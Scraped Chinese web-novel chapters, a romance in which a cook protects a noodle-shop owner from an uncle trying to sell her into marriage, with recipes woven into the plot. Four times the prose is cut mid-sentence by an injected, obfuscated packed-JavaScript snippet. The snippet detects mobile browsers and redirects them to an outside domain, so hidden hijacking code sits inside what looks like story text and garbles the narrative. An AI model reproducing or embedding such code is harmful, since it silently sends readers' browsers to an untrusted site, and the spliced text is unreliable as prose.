等着杀猪匠挑鸡的空档，许东山提着篮子往别处看，心里暗暗盘算着还要买点什么别的菜。 无意间，他听见边上有人在问路： “借问一下，你知道月娘面线糊店往哪里走吗？” 许东山顺声望去，是一个看着得有五十多的男人在边上的裁缝铺问路。 裁缝铺头家娘走出来，正好瞧见许东山，笑道：“月娘面线糊店的厨子在那儿，你跟着他回去好了！” 那个老男人顺着头家娘指着的方向看去，看到一个又高又壮的青年正不善地打量着自己，不由得心里一毛。 但怕归怕，老男人还是硬着头皮走了上去。 “你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356093|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …要做什么？”这几日那几个无赖的家里人常托人上门求情，许东山得提防着着想要上门的所有人。 那个老男人搓了搓手，舔了舔有些干裂的嘴唇，低声道：“我想去见苏月娘。” “你是她什么人？”那边杀猪匠探身将鸡放到了许东山的菜篮子里，报了个数，许东山数了钱，将一大把铜钱付了出去。 男人看到许东山的菜篮子里满满当当的都是肉和菜，他眼中闪过一道金光，“我是苏月娘的亲戚，我过来看她过得好不好！” 亲戚？ 许东山皱眉。 他知道苏月娘除了舅舅一家之外，亲近一些的亲戚大概就只有那个想要把她嫁了换钱的大伯。 “你不会是她的大伯吧？” 男人连忙点头，“对对对！我是她大伯苏旺！” 闻此，许东山的脸一下子黑了，原就凶相的脸此时那叫一个让人毛骨悚然，苏旺心底打起了退堂鼓。 许东山曾从林大松口中听说过这个苏旺是个混吃等死、脸皮极厚的人，不仅在亲弟弟死后强占亲弟弟留给侄女的房屋店铺，甚至还想将侄女嫁给瘸子换一笔彩礼钱。 若是将这个人留在街上不管，怕是会起些难以控制的乱子，倒不如带回家去杀剐一番！ “跟我走。” 苏旺连忙朝着许东山点头哈腰，跟在许东山身后往月娘面线糊店的方向走。 他一边走，一边打量许东山和那一篮子食材。 虽说这个厨子穿得质朴破旧，但是那一大篮子菜可不是一般丰盛！ 想必苏月娘在这儿混得还算不错……若是能要了她挣的钱，再将她嫁出去…… 苏旺做着他的春秋美梦，随着许东山去到了月娘面线糊店。 许东山走在前头，打开了店门。 才睡醒不久的苏月娘窜出来，凑到许东山身边往盘子里瞧： “你怎么不喊我一起去买菜？让我看看你买什么菜了！”苏月娘兴致勃勃地去接许东山提着的菜篮子。 “月娘！” 苏旺一喊，打断了苏月娘的动作。 苏月娘抬起头，瞧见站在许东山身后冲着她不怀好意地笑着的苏旺，一时间，她面上血色全然褪去，整张脸煞白非常 “你……你……”苏月娘见了鬼一般连连往后退，许东山忙上前去搀了苏月娘一把。 苏旺搓了搓手，往前走了几步，顺带打量了堂屋一番。 “听说你这儿生意不错！这么大的地方，能坐不少客人吧？哎呦……你在这儿受这份苦做什么！倒不如跟大伯回家嫁人去！” 苏旺伸手就要去拉扯苏月娘的胳膊，怎知还没碰上，他的手便被许东山一把攥住了。 用力之大，痛得苏旺惨叫不止，双膝不自觉地就要往下磕。 “放手！放……啊——” 苏旺求饶的话语才说了一半，便又因为许东山加重了力道而化为一声杀猪般的惨叫。 “你也配为人伯父！好好一个姑娘，居然想许配给一个瘸子！” 满面悍然的厨子牢牢将苏月娘护在身后，单用一只手便让来者不善的苏旺跪地哭饶。 45. 豆豉蒸鳗鱼 先前，许东山殴打胖子无赖与许东石时，苏月娘总会忧心他下手过重，惹上官司。 今日，许东山知道苏月娘心里害怕，便将自己的理智牢牢攥着，见苏旺疼得脸发紫，才将其重重甩开。 苏旺哆嗦着坐在地上，捂着没断，却疼得与断了没区别的手，毫无气势地放狠话： “你……你跑出来跟这么个粗人苟.合！你要不要脸！真是败坏我们苏家的家风！” “说谁苟.合呢！”许东山的反应倒是比苏月娘的反应大，他往前跨了一步，苏旺便犯怂地往后挪了一大片。 “我……我警告你啊！你别过来了！你要敢过来……我……我跟你不客气！” 分明被弄得起不来了，苏旺却还是梗着脖子，与许东山放狠话。 血气方刚的后生家满心烦躁，后糟牙紧了又紧，喉咙深处挤出沉怒的话语： “我跟她有人做媒，绝非苟.合！你要是再敢过来找茬，我一定让你死得不知道是怎么死的！” 这话虽然听着像要暂时放过苏旺，但许东山却脚口不一，待苏旺浑身发颤地站起来，小心翼翼地转过身后，许东山忽地一步上前，对着苏旺的后背猛然一踹。 毫无防备的苏旺一连踉跄了几步，直至踩在孤榻外的台阶边沿，才往前扑去，摔了个狗吃屎。 苏月娘听见一声闷响，连忙跑上前去，靠在许东山的胳膊往外张望。 许东山抬起胳膊，揽着她的肩，稍用力，将她半个身子护入自己怀中。 苏旺狼狈地爬起来之后，抹了一把发麻的右脸，没曾想却抹下了一片磨破的脸皮。 “你……你们两个给我等着！”怕里头那个又高又壮又有力的煞神冲出来打自己，苏旺赶忙捂着右脸，跑两步摔一步地逃了。 可恨的大伯消失在视线之内，苏月娘面色稍缓，靠在许东山怀中惊魂未定地喘了两口气。 沉默之时，许东山的另一只手抚上苏月娘的后背，将她紧紧抱在怀里。 苏月娘听见许东山与她说： “我不会让他把你抢走的……” 虽然这话听着咬牙切齿的，可苏月娘却觉得无比心安。 —— 苏旺的出现让苏月娘整个人都蔫了下去。 这顿“犒劳饭”许东山没舍得让苏月娘亲自动手，给她炸了一碟花生沾上盐粒与白糖做零嘴之后，许东山便开始着手准备午饭。 苏月娘端着那碟有滋有味的花生跟着许东山进了厨房，抢占了灶边的那张矮板凳。 她一摸摸了三四颗花生往嘴里丢，花生被她咬得嘎吱作响。 许东山洗净了鳗鱼腹腔里的血水后，听着花生的脆响，回头看苏月娘一眼，苏月娘仰着脑袋冲着他笑。 “来来来，我们许大哥辛苦了，吃颗花生犒劳一下！”苏月娘端着那碟还热乎着的花生走到许东山身边，捏起一颗，朝着许东山嘴边递去。 许东山低下头，凑在苏月娘指头边，来回比划了一番，才撅圆了嘴，将那颗花生吸入口中。 他一边嚼着苏月娘喂的花生，一边将鳗鱼提溜到案板上放着。 苏月娘看着他宽宽大大的后背，右胳膊一下一下地挥刀剁着鳗鱼，鼓鼓囊囊的肌肉并不因动作起伏而有所晃动。 与他待在一起当真是十分心安。 苏月娘往他那儿挪了两步，整个人往他后背上一贴。 感觉到后背大片的压感，许东山剁鱼的手顿了一下，苏月娘上一回这般无声地黏着他，还是那几个无赖上门欺负她的那日。 现下她这般，许东山难免担忧她是否将恐惧与不安藏在了心底。 可直到嘎吱嘎吱的嚼花生声又从身后传来，许东山才松了口气，继续抬手剁鳗鱼。 “怎么过来了？不怕腥吗？” 平日里苏月娘一直尽量避开处理海鲜河鲜，就连炸面线糊必备的巴浪鱼，她也总是推给许东山去做。 苏月娘动了动鼻子，嗅着那一丝土腥味，嫌弃地转过了脑袋，将鼻子怼在许东山的后背上。 今日还没下过厨的厨子衣裳上只有皂荚的清香味道。 苏月娘欢喜地扬了扬嘴角，摸了两颗花生塞进许东山的嘴里，“跟你待在一起比较安心。” 许东山不禁嘴角上扬。 嘴里的花生比刚才吃的更有滋味。 …… 苏月娘对许东山的依赖仅仅止于许东山起火烧油。 她可不想沾得一身油烟味儿。 今天要做一道豆豉蒸鳗鱼，这道在宴席上由许东山掌勺的菜苏月娘前几日便听许东山提起过，听闻一上桌便会被抢光，苏月娘便一直惦记着这口。 今日许东山买了鳗鱼，也是打算做一道豆豉蒸鳗鱼给苏月娘尝尝。 冷油在锅中烧着，许东山抓紧时间切好蒜蓉、姜丝、葱白，与酱油、沥干汁水的豆豉一齐放入碗中，待锅中油沸腾，便可端锅倒油。 热油将几样料的香味激发出来，稍稍冷却后，再加入白糖、豆酱以及两勺豆豉的豉汁搅拌均匀。 豆豉蒸鳗鱼并不费时，许东山拌好料汁之后，便着手炖汤、做其他菜。 一人掌管三口锅，所有菜肴都做得不忙不乱的，甚至，许东山还能抽个空将灶台上的脏污擦除，并洗掉多余的碗筷。 要让苏月娘说，她必然是评价他不仅手艺精湛，还眼里有活。 在堂屋里待了许久的苏月娘掐好时辰，抓着一块啃过几口的信杯饼（1）回来了。 这时候，其他菜已经陆陆续续出锅了，只剩下给鳗鱼拌料，入锅蒸煮了。 她期待地看着许东山将油料汁拌入用料酒稍微腌制过一会儿的鳗鱼中。 海鳗鱼肉质柔软，宜轻轻用手搅拌，以保持形态美观。 裹上料汁的鳗鱼不必腌制，便可以摆个花形盘，送入火大水多的蒸锅中焖蒸半刻钟。 盖上蒸锅盖子后，许东山转过身，苏月娘顺势将掰下来的一小块信杯饼塞到了许东山嘴里。 “唉……又让你辛苦了一天……下次我一定给你做顿饭！” 许东山眼中含笑，“我等着。” 半刻多钟过后，豆豉蒸鳗鱼出锅，许东山在菜盘正中央撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361252|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上姜丝、葱丝以及红椒丝，最后淋上小半锅热油。 这一盘饱受食客们欢迎的豆豉蒸鳗鱼便算大功告成了。 另摆上炖好的老母鸡汤、蒜苔炒五花等菜，苏月娘便摁着还打算去厨房里擦擦扫扫一番的许东山坐下。 “你就别忙活了，先吃饭要紧！”刚刚苏月娘围着许东山打转的时候，还听见他腹中传来“咕咕”的响声。 大概许东山连早饭都没吃。 许东山取过苏月娘那边的汤碗，往里头盛了两只肥硕的大鸡腿与八分满的鸡汤。 “刚刚吃那些零嘴没吃撑吧？”许东山难得揶揄她一句。 苏月娘很是骄傲地摇了摇头，“我特地留了大半个肚子等着吃许大厨做的菜呢！” “那你这顿可得多吃一些了！先喝口汤润润肠，再吃其他菜！” 苏月娘听话地先捧起汤碗，摇头晃脑地吹凉，等到温度稍降之后，便大口地喝了两口肥而不腻的鲜美鸡汤。 鸡腿便不着急吃了，苏月娘喝过汤后便放下汤碗，正准备夹一块鳗鱼来尝尝，许东山却先快她一步，将鳗鱼放到了她碗中。 苏月娘取调羹，将蒸鳗鱼分成两半，先盛一半品味。 都说大厨之所以是大厨，不仅得要能将菜味道调好，更得要会精准把控火候。 这道豆豉蒸鳗鱼苏月娘从前并不是没有吃过，只是从前吃过的豆豉蒸鳗鱼火候过猛，鲜嫩的鳗鱼被蒸得柴又松散。 而许东山却精准把控了蒸鳗鱼的时长，短短半刻多钟，将鳗鱼蒸熟之余还保留鳗鱼的鲜嫩与风味。 搭配裹在外头的豉香料汁，也是一道宴席上的“下饭菜”。 另一半鳗鱼，苏月娘混上米饭与半勺豉香料汁一起入口，这味道美到让苏月娘都想在重新开店之后将这道菜添入菜单之中。 可又想到近来鳗鱼居高不下的价格，苏月娘便只能将这个念头摒弃掉。 做家常吃食的小店用不着弄这些贵价宴席菜。 不然让黄阿三知道了，指不定得怎么笑她呢！ —— 既然苏旺知道了苏月娘的居处，过后几日许东山出门干活时，便将苏月娘带上，省得苏旺趁他不在摸到了红姑那里闹事。 黄阿三对日日出现的苏月娘已经见怪不怪了。 毕竟他早在第一次去面线糊店和许东山见面时，便怀疑这两个人之间有点什么。 如今看着两人之间那股腻歪劲儿…… 黄阿三是彻底歇了要哄许东山到自己这儿长干的心思。 在面线糊店干活有美娇娘在侧，许东山哪会甘心到自己这儿做事！ 苏月娘提心吊胆了几日，苏旺都没有再出现。 迈入了八月，从木匠那儿定做的新桌椅已经初有形状。 八月办宴的人家没那么多，许东山便总能找见闲暇往家里搬回新做好的桌椅。 已经空荡了半个多月的堂屋总算慢慢地填充起来了。 就当许东山与苏月娘以为苏旺不会再出现时，苏旺却带着一群人再次闯入了他们好不容易平静下来的生活。 46. 麻油桂圆猪腰汤 这日，许东山与苏月娘起了个大早，一齐去木匠铺子里护送新做好的一张长桌回家。 怕新的桌椅不耐用，苏月娘特意挑选了重又结实的木料让木匠发挥，这下好了，往家里拉的时候可累坏了许东山与木匠。 两个强壮的男人顶着大太阳轮流拖了一路，皆累得大汗淋漓面色发红。 自是不用付出什么气力的苏月娘抓着一把大蒲扇，一会儿给许东山扇，一会儿给老木匠扇，路过阿莲家，她还主动停下来去找阿莲的娘讨了两杯水给许东山与木匠解渴。 木匠也姓林，是阿莲的本家人，与阿莲家关系还算亲近，便端着茶杯站在门边，和阿莲的娘寒暄了几句。 苏月娘与许东山也借此站在屋檐下躲日头稍作歇息。 “月……月娘！” 苏月娘依稀听见了阿莲的声音，原以为是听错，可等阿莲娘偏头一望，就瞧见阿莲急匆匆地跑来。 “月娘，阿莲喊你呢！” 苏月娘朝着阿莲娘手指的方向望去，忙上前接了几步。 “你的担子呢？” 阿莲跑得面红唇白，纵然累得喘不上气，她也抓着苏月娘的胳膊，端着一口气儿道：“你和许师傅尽快回去瞧瞧！一个自称你大伯的人带着十来个青壮将你家的店围了起来！” “大伯？！”苏月娘手指一颤，手中的茶杯落在地上，碎得四分五裂。 苏旺无声无息了这么些时日，苏月娘都以为他放过自己了，没曾想他却带着人找上了门…… 她无措地看向许东山，许东山却只是拍了拍她的肩膀，“你待在这儿哪都别去，我去解决这事儿！” “可他带了人！”苏月娘紧紧抓着许东山的胳膊不让他走。 许东山望着她盈着眼泪的眼，轻声安抚道：“这是我们的地盘，他们外来的必不敢怎么动手……现在他们堵上门来了，我要是怂了，他们就更不可能放弃带你回去。” 林木匠盯着两人琢磨了一阵儿。 虽然这两个人先前不承认他们有什么关系，但是俗话说得好，表兄表妹，天下一对。 现在这两人要是突然宣布要成亲他也不会觉得奇怪！ 许东山的爹与苏月娘都是他的大客户，马马虎虎也能算得上是自己人，自己人有难，他怎好袖手旁观？ “诶！小子！你先过去和他们交涉，我去给你喊几个本家人过去撑场子！”林木匠拍了拍许东山的肩头。 许东山感激地向林木匠鞠了一躬，“麻烦林叔了！” 这会儿林叔都喊上了，林木匠乐呵地背着手，喊本家青壮去了。 苏月娘红着眼圈拉着许东山的手再三叮嘱，“你一定不要与他们硬碰硬……你若是因为我……” 话还没说完，苏月娘便哽咽住了。 “乖乖待着，我去去就回！”现下实在不是依依不舍的时刻，许东山将苏月娘推给阿莲，便快步离开了。 …… 苏旺在家休养了几日，越想越不甘心，便征集了本家的几个晚辈一起上门抢人。 没想到一群人浩浩荡荡赶来，月娘面线糊店的大门却紧闭着，苏旺敲了好半晌，都不见有人来开门。 气急败坏的苏旺不仅亲自砸毁了月娘面线糊店的招牌，还派了两个堂侄，上街去与人宣扬苏月娘从家里私跑出来与许东山苟且。 凤池镇的大街上处处是人，没一会儿，苏月娘的事情便被宣扬得到处都是，熙熙攘攘的街上，人们神态各异地低声讨论着此事。 许东山赶来时，巷口围了几个看戏的妇人，而苏旺站在一群手持棍棒的苏姓晚辈中笑得很是得意。 “后生家，知道回来了？苏月娘呢？把苏月娘交出来吧！” 那几个苏姓青壮纷纷朝着许东山走去。 为首的那个痞里痞气的青年吐掉叼在嘴里的草根，上下打量着许东山，“你就是许东山？我堂妹人呢？” 那人越走越近，许东山皱眉一把将他推开，“赶紧滚，月娘不可能跟你们走！” “你们可看见了，是这个姓许的先跟我动了手！弟兄们，这亏我可不吃！”苏堂哥大声吆喝了起来。 苏家的青壮们顿时起劲儿了，他们撸起并不存在的袖子，个个跟得意的鸡公（1）似的，朝着许东山围了上去。 挑衅的言语、破碎的招牌，每一样都是踩在许东山的底线上，许东山额角青筋暴起，拳头攥得发白，关节之间发出“咔咔”的声响，起伏极为明显的胸腔团着怒气，好似顷刻即发。 眼瞧着恶战一触即发，巷口左右涌来了一群手持各式各样家伙事的青壮。 有姓林的，有姓许的。 姓林的是木匠带来的，姓许的是卖油条的带来的。 两边人来得着急，停步时，鞋底在干涸的地上擦出闷响。 虽然镇上青壮人数极为有限，但是两边还是凑出了二十来人。 一下子，整个巷子被堵得水泄不通。 苏旺一下子傻了眼。 这还没动手呢，许东山就弄来这么多人……接下来可怎么办！ “听说有人要跟我侄儿抢人！”卖油条的许头家同另一个力气大的一起捏着许东山偾张的肌肉往后扯了扯，示意他不要轻举妄动。 蛮牛似的许东山不停前倾，许头家两人险些拉不住他。 “你又是什么东西？我来带回自家的侄女关你什么事情！”苏旺假把式地大声嚷嚷。 “你在我们凤池镇闹事，就关我的事！”许头家指了指地上那四分五裂的招牌，“把东西赔了，赶紧滚！” “这是我侄女的东西，我砸了又怎么样！有本事你动手，只要你们一动手，我立马就去报官！” 见过许多大风大浪的林木匠嘿嘿一笑，他在两个后生家的护送下走上前去，道： “你猜你报了官，官府会不会管？就算管了，官府会向着谁？” 闽南大地上有许多宗族，宗族之间利益纠纷甚多，时常会发生宗族械斗，每个宗族都是根深蒂固的大族群，有时候官府两边不敢得罪，总是想着大事化小小事化了。 有时事态过于严重，官府甚至可能会见风使舵地支持强势的那一方。 所以这一仗要真报到官府那里，这群姓苏的必然讨不到什么好。 姓苏的气焰顿时弱了下来，刚刚还举着拳头的几个后生家偷偷地收了手。 “不闹起来也行，只要你们把苏月娘交出来，我们就走！”苏旺窝囊地提出了他的条件。 许东山冷嗤，“你为什么非要她回去……你……” 许东山的话还没说完，便有人应下这话： “因为他向一个死过两个媳妇的瘸子承诺要将月娘嫁给他，还私自收了大笔彩礼……现在钱花光了，人家没娶到月娘，上门朝他要债了！” 围在巷口的人群被分成两半，来人手里提着一把刀尖勾利的蔗刀，气势汹汹地闯入巷内，越过被许头家牢牢抓着的许东山，蔗刀一挥，直指苏旺。 旁人或许不认识来者何人，但许东山与苏旺一眼认出这是苏月娘的舅舅林富贵！ 林富贵常年在山上做事，力气大嗓门也大，往哪儿一站、一指，当真是极有气势。 苏旺盯着锋利的刀尖，吓得成了对眼。 “我告诉你，月娘和这个小子是我做的媒！也是我把月娘送到这里来的！你要把月娘带走，先从我林富贵的尸体上踏过去！” 这一声嘶吼镇住了在场的所有人。 许东山一下子甩开了许头家和另一人摁在他胳膊上的手，一把抢过身边人手中的镰刀，架在退无可退的苏堂哥脖子上，与林富贵一起，一步一步地将这十来个姓苏的逼出巷子。 走到宽敞处，走在前端的几人趁乱撒腿就跑。 身后一下子空了，堆在后头的人立即回身逃窜。 许东山的怒气积攒许久在此刻爆发，他手猛然一甩，沉重的镰刀朝着苏旺的小腿飞了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368294|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>镰刀刀尖划过苏旺的腿肚子，苏旺痛呼一声猝然倒地，他儿子见他没跟上，咬咬牙折回去将他一把拖走。 鲜血被拖了一路，苏旺亦惨叫了一路。 直到这群人不见了，在场众人才松了一口气。 还沉浸在愤怒里的许东山忽然被林富贵捶了一下。 林富贵冷哼，“你还把月娘照顾成自己人了！” 他原打算让苏月娘在这避避风头就把她接走，没想到她和许东山还偷偷有了感情！ 既然事情解决了，在场多数人也就散了。 许头家和林木匠朝着许东山走了过去。 许头家拍了拍许东山的肩膀，“月娘的为人大家都看在眼里，哪怕不是看在你的面子上，大家都会多少帮一帮她！以后要是有什么事，你尽管跟大家提！” 今天若不是许头家和林木匠相助，许东山怕是会冲动得头破血流。 他与林富贵再三朝着二人鞠躬致谢，直至二人不好意思地走远了。 —— 闹剧结束，许东山和林大松一起去阿莲家将苏月娘接了回来。 今日事情闹得太大，苏月娘直至走入家门，两腿还隐隐发虚。 许春喜拧了巾，替苏月娘擦拭她面上残留的泪痕。 林富贵心疼地看着惊魂未定的苏月娘，“看你这脸白的，阿舅给你熬汤补补！” 林富贵并不擅长劝慰，只能转身进厨房给苏月娘炖点汤。 许春喜挨着苏月娘坐下，将她拥入怀中轻声安抚着，在许春喜温柔的话语中，苏月娘的情绪慢慢稳定了下来。 林富贵从厨房里探出头，“姓许的，你过来帮忙！” 许东山朝着林富贵点头后伸手揉了揉苏月娘的发顶，这才往厨房走去。 今日一大早林富贵听说苏家那边有异动，着急过来救苏月娘之余，还不忘把家里昨晚才杀的半只猪拖上车一起带过来。 “你把这半只猪剁了，留几块自己吃，其他的拾掇拾掇，给刚刚来帮过忙的那几个人送过去！”林富贵挤出猪腰子后，便将那半只猪丢给许东山。 现在许东山要娶苏月娘必然是绕不开林富贵，他如今有求于林富贵，自然是林富贵说什么，他做什么。 林富贵将一整副猪腰子切成长条，改了密集的花刀后，端到院子里用地瓜粉水反复淘洗数次，直至清水冲洗后水色清澈。 极有眼力见的许东山提早生了火，等林富贵端着猪腰子回来的时候，正好可以开始动锅。 麻油入锅热至表面沸腾冒大泡，再撒入大量切好的姜丝炒干，而后倒入猪腰翻炒至猪腰变色，即可盛出备用。 “过来把火弄小一点！”林富贵转身去翻柜子。 许东山立即放下大刀去拨弄灶膛里的柴火。 等林富贵找到红糖、红枣以及桂圆回来，灶膛里就只剩下三两簇微弱的火苗。 三样东西借着锅中残留的麻油稍微翻炒一番，红糖鼓泡之后，淋上小半圈米酒，一大碗清水熬煮半刻钟。 最后倒入炒好的猪腰炖煮至汤水再次沸腾，麻油桂圆猪腰汤便做好了。 虽然这麻油桂圆猪腰汤说是给苏月娘做的，但林富贵却没忘记给儿媳妇留一半。 “喝点补汤压压惊！” “谢谢阿舅！” “谢谢爹！” 两个姑娘的笑让林富贵乐得合不拢嘴，“你们两个慢慢喝，小心烫！” 说罢，林富贵招呼着儿子与许东山去厨房谈事了。 苏月娘舀一勺热汤小心嘬了一口，一入口，浓郁的麻油油脂包裹舌尖，紧接着感受到红糖的香甜与桂圆的清甜，回味时，涌上来的是老姜的辛辣。 林富贵虽是个在山上干活的粗人，可手艺一点都不差。 容易被煮坏的腰子，经他手做出，那叫一个脆嫩爽口。 一碗麻油桂圆猪腰汤抚平苏月娘不安的心绪。 她知道，接下来的事情不必忧愁了。 47. 方果（杨桃） 三个男人聚在了后院门边，林富贵烦闷地抓着衣襟用力地扇了扇，微弱的风也扑不灭他心头的烦躁。 “你就不觉得月娘他大伯出现得很蹊跷吗？当时我和大松把月娘悄悄接走，一路避着人把月娘带到浮桥去，甚至还怕苏旺追过来，趁着天黑让月娘躲到你这儿来！” 听到了林富贵的问话，许东山有些许怔愣。 苏家所在的清河镇离凤池镇上百里地，就算紧赶慢赶地骑骡子过来，也至少需要半天时间。 两地相隔甚远，交流当是称不上频繁的。 加上林家住在人烟稀少的山脚下，要避开人将苏月娘带到家里再送出浮桥，必然不是什么难事…… 那么这中间…… “苏旺第一次来的时候，听人说他一直打听的都是月娘面线糊店……”许东山前段时日上街时，还听熟识的厝边问起了苏旺的事情，自然就得知了苏旺是如何打听的。 林富贵，“你们两个是不是得罪什么人了？” 一瞬间，许东山脑子里浮现出了两张人脸，他缓缓抬起头，朝着墙面看去——一墙之隔，是二福面线糊店。 林大松时常听许春喜嘀咕凤池镇的种种，他碰了碰许东山的胳膊，“你怀疑隔壁啊？” “前段时间我堂弟暗示街上的无赖趁我不在上门调戏月娘……我一时气不过，就把他打了一顿……” 林大松瞟了一眼许东山粗壮的胳膊，想也知道许东山下了“死手”。 既然有了怀疑的对象，三个男人也不乐意憋着，在苏月娘和许春喜疑惑的注视下，一齐走出了家门。 很可惜，隔壁二福面线糊店大门紧闭，不像是有人在家的样子。 对门林阿婆坐在门口择菜，看三人站在二福面线糊店门口大眼瞪小眼，便道：“你们找二福和金花有事？金花两天前就带着父子俩去后头家（1）做客人了！” “您知道李金花是从哪里嫁过来的吗？” 林阿婆在这儿生活了大半辈子了，又常随着厝边的老姐老妹话仙，镇子上的一切都逃不过她的法眼。 “听说是浮桥头的！她家里是笋江上打鱼的！” 林家父子俩对视了一眼。 浮桥镇至少是五个凤池镇那样大，各色各样的人都有，林家父子不知道李金花是浮桥的，倒也情有可原。 “都躲到后头家！怕是心里头有鬼！”林富贵咬牙切齿地骂了几句难听的。 …… 苏旺的到来究竟与李金花有没有关系，暂且无法得知。 林富贵调整好情绪后便与许东山、林大松一齐出门去给刚刚帮过忙的那些人送肉作为答谢了。 虽然凤池镇比起别处富裕不少，但是猪肉在哪都不是便宜东西，收到猪肉的人家都乐得眉开眼笑的。 收下了林富贵送的猪肉，那便就是承诺会帮着保护苏月娘。 这一二十家送下来，远的不敢说，只要苏月娘不走出凤池镇，苏旺必然不能拿她怎么样。 替苏月娘打点过人脉，林富贵还惦记着家里的那漫山遍野的鸡没人喂，简单吃了点东西饱腹后，便打算带上儿子儿媳回浮桥了。 自家舅舅风尘仆仆地来一趟，屁股都还没坐热，就开始张罗东张罗西的，连顿好酒好菜都没能吃上。 苏月娘心里很是过意不去，几次挽留无果后，林富贵拍拍她的脑袋，语重心长地说道： “阿舅回去找那个李金花，就算苏旺的事情和她没关系，那我也把她儿子打一顿给你报仇！” 苏月娘至今还恨许东石狠得牙痒痒，想来这么久了，许东石也该恢复得差不多了，倒不如就让舅舅再去打他一顿，弥补许东山不能把他打死的遗憾吧！ “那阿舅悠着点，别闹出人命了！” 林富贵摆手，“放心，阿舅绝不会将他丢到江里喂鱼！” 苏月娘相信林富贵是个稳重可靠的人，殊不知待林富贵和林大松父子俩见到躲在外祖家许东石时，一个打得比一个起劲。 将那才养好伤的许东石，打了个半死…… 当然，这是后话了。 —— 天色渐暗，巷陌之内混杂着各家的烟火味道。 厝边们做好晚饭，纷纷端着饭碗和菜盘子，坐在门口与厝边头尾边吃边聊。 许东山与苏月娘与那些阿婆阿公们隔得远，也没有能聊的话，从来都是关起门来，自己吃自己的。 林富贵这一趟带了不少好东西来，天上飞的、地上跑的、土里种的，应有尽有。 许东山再次发挥他的长处，为苏月娘做了一桌子菜。 今日一日的波折，在见到这一桌子色香味俱全的饭菜时全然归于平静。 饭菜摆放在新做的桌子上，苏月娘对着抹了一层亮油的木桌左摸摸右拍拍，喜爱溢于言表。 许东山为她摆上筷子调羹后，又紧接着盛汤夹菜，一切准备妥当了才喊苏月娘坐下吃饭。 近来两人都是坐在一起吃饭的，分明桌子椅子都很长，两人却恨不得紧贴在一起，无论是夹菜还是吃饭，两人的胳膊总是免不得要碰在一起。 肌肤相贴，亲昵而又暧昧。 两人聊东聊西，慢吞吞地填饱了肚子后，许东山收拾碗筷，苏月娘擦拭桌面。 日子过得与成过亲的小夫妻也无区别了。 “咚咚咚……” “月娘头家在吗！” 苏月娘正好擦干净了桌子，就听见刘昌的声音从外头传来。 她一边将抹布丢到别的桌子上，一边小跑去拉开大门的横栓。 拎着一兜子东西的刘昌打量苏月娘一番： “我刚才从衙门回来，听人说你大伯带人过来了，你没事吧？” 苏月娘侧身请刘昌入门，“厝边头尾相助，我没与他们正面碰上！” 既然苏月娘没事，刘昌也就放下了心，他将布兜子放在桌上，打开兜子的结，“同僚送了点方果（杨桃），拿几个给你尝尝鲜！这方果不禁放，你们两个这两天尽快吃了！” 布兜子里盛着十来个个头大色黄绿的五角长果，苏月娘没凑近都能闻到一股清新的方果香。 “刘叔你太客气了！来就来，还带什么东西啊！”苏月娘嘴上说着刘昌太客气，却是大大方方地将方果收下了。 许东山抽出手泡了茶送出来时，苏月娘让许东山把方果拿到厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378368|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去切。 刘昌作为一个在衙门里做了二十多年事的读书人，也是懂得一些门道的。 今日他过来，必然不可能只是来看望苏月娘的。 “你可有想过要怎么摆脱你大伯？” 苏月娘叹息，“暂时没想到该如何让他放弃带我回去……只求今日一事能暂时让他们安分一段时日！” “此时宜早不宜迟，要是他们气急败坏去你们那儿的县衙诬告你和阿山是私奔的，那可就坏事了！” 苏月娘听了刘昌的话难免有些沉默。 虽然苏旺怂，但难免不会狗急跳墙地震跑去县衙那里诬告她一番。 要真让他告上了，往后的事情怕是会很麻烦。 “刘叔您见多识广，这件事情我还指望您多帮我参详参详！” “你刘叔这么多年也不是白混的，等我回去想想、找关系帮你打点清楚了，再回来跟你说该怎么做！” 许东山端着切好的一盘方果出来，正好听见刘昌承诺会帮着想想这事情如何解决，连忙跟着苏月娘一起向刘昌道谢。 